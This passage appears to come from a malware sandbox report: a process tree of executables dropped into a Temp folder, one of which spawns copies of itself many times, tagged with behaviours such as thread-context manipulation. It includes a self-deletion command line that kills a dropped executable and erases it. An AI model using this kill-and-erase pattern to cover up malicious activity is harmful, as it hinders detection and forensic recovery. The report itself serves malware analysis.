        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:948
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:2076
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3188
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
      4⤵
      Loads dropped DLL
      PID:240
    - - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue1109eec571ac.exe
        
        Tue1109eec571ac.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:572
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue1109eec571ac.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue1109eec571ac.exe" & exit
        6⤵
        
        PID:2724
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Tue1109eec571ac.exe" /f
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2820
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
      4⤵
      PID:1248
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
      4⤵
      Loads dropped DLL
      PID:1596
    - - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        Tue11e4e580f2e8141a3.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        
        PID:1716
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2676
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:1544
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2700
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2836
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2976
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2576
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:1528
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:1360
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:832
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:984
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2780
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2776
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2032
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2084
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:436
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:1604
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2112
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2184
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:840
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2748
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2968
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:1588
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:3224
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:3384
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:3496
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:3612
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3736
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3892
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3976
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4040
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:836
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3696
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3292
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3928
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3984
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3712
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2928
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1548
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2788
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3672
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2624
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3704
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3064
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3104
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4100
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4204
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4256
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4372
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4464
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4552
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4660
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4724
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4832
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4904
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4948
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5032
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2504
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4224
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3516
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4012
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3232
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4220
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3924
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4884
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4940
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3600
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5068
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4216
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3300
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3972
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3020
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4024
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2196
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4064
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3776
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2528
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1864
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4348
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3880
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4128
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3896
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2908
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2328
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1648
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4180
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4984
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3528
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4732
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4320
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3876
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4860
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4232
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4632
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4392
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1720
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3636
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4088
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4628
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4112
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4924
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5060
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4624
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3020
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2912
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1068
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4144
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1276
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1584
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4252
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2924
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1584
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4644
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3620
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4296
